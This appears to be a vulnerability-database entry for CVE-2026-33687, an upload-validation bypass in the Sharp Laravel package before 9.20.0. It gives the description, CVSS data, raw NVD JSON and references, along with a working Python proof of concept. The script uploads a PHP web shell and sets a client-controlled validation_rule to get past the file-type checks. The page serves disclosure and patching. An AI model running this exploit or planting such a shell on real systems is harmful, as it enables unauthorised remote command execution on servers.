Security Vulnerability Report
中文
CVE-2026-33687 CVSS 8.8 HIGH

CVE-2026-33687

Published: 2026-03-26 22:16:31
Last Modified: 2026-04-02 17:22:02

Description

Sharp is a content management framework built for Laravel as a package. Versions prior to 9.20.0 contain a vulnerability in the file upload endpoint that allows authenticated users to bypass all file type restrictions. The upload endpoint within the `ApiFormUploadController` accepts a client-controlled `validation_rule` parameter. This parameter is directly passed into the Laravel validator without sufficient server-side enforcement. By intercepting the request and sending `validation_rule[]=file`, an attacker can completely bypass all MIME type and file extension restrictions. This issue has been addressed in version 9.20.0 by removing the client-controlled validation rules and strictly defining upload rules server-side. As a workaround, ensure that the storage disk used for Sharp uploads is strictly private. Under default configurations, an attacker cannot directly execute uploaded PHP files unless a public disk configuration is explicitly used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:code16:sharp:*:*:*:*:*:*:*:* - VULNERABLE
Sharp < 9.20.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target_url = "http://target.com/sharp/api/form/upload" # The malicious file to upload (e.g., a PHP shell) files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')} # The vulnerable payload: setting validation_rule to 'file' bypasses MIME checks data = { 'validation_rule[]': 'file' } # Session cookie for an authenticated user cookies = { 'laravel_session': 'your_session_cookie_here' } response = requests.post(target_url, files=files, data=data, cookies=cookies) if response.status_code == 200: print("[+] Upload potentially successful!") print(response.text) else: print("[-] Upload failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33687", "sourceIdentifier": "[email protected]", "published": "2026-03-26T22:16:31.203", "lastModified": "2026-04-02T17:22:02.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sharp is a content management framework built for Laravel as a package. Versions prior to 9.20.0 contain a vulnerability in the file upload endpoint that allows authenticated users to bypass all file type restrictions. The upload endpoint within the `ApiFormUploadController` accepts a client-controlled `validation_rule` parameter. This parameter is directly passed into the Laravel validator without sufficient server-side enforcement. By intercepting the request and sending `validation_rule[]=file`, an attacker can completely bypass all MIME type and file extension restrictions. This issue has been addressed in version 9.20.0 by removing the client-controlled validation rules and strictly defining upload rules server-side. As a workaround, ensure that the storage disk used for Sharp uploads is strictly private. Under default configurations, an attacker cannot directly execute uploaded PHP files unless a public disk configuration is explicitly used."}, {"lang": "es", "value": "Sharp es un framework de gestión de contenido construido para Laravel como un paquete. Las versiones anteriores a la 9.20.0 contienen una vulnerabilidad en el endpoint de carga de archivos que permite a los usuarios autenticados eludir todas las restricciones de tipo de archivo. El endpoint de carga dentro del `ApiFormUploadController` acepta un parámetro `validation_rule` controlado por el cliente. Este parámetro se pasa directamente al validador de Laravel sin una aplicación suficiente por parte del servidor. Al interceptar la solicitud y enviar `validation_rule[]=file`, un atacante puede eludir completamente todas las restricciones de tipo MIME y de extensión de archivo. Este problema se ha abordado en la versión 9.20.0 eliminando las reglas de validación controladas por el cliente y definiendo estrictamente las reglas de carga en el lado del servidor. Como solución alternativa, asegúrese de que el disco de almacenamiento utilizado para las cargas de Sharp sea estrictamente privado. Bajo las configuraciones predeterminadas, un atacante no puede ejecutar directamente archivos PHP cargados a menos que se utilice explícitamente una configuración de disco público."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:code16:sharp:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.20.0", "matchCriteriaId": "0D710527-04D5-4152-A28C-506356B95CE1"}]}]}], "references": [{"url": "https://github.com/code16/sharp/pull/714", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/code16/sharp/releases/tag/v9.20.0", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/code16/sharp/security/advisories/GHSA-fr76-5637-w3g9", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://laravel.com/docs/13.x/filesystem", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}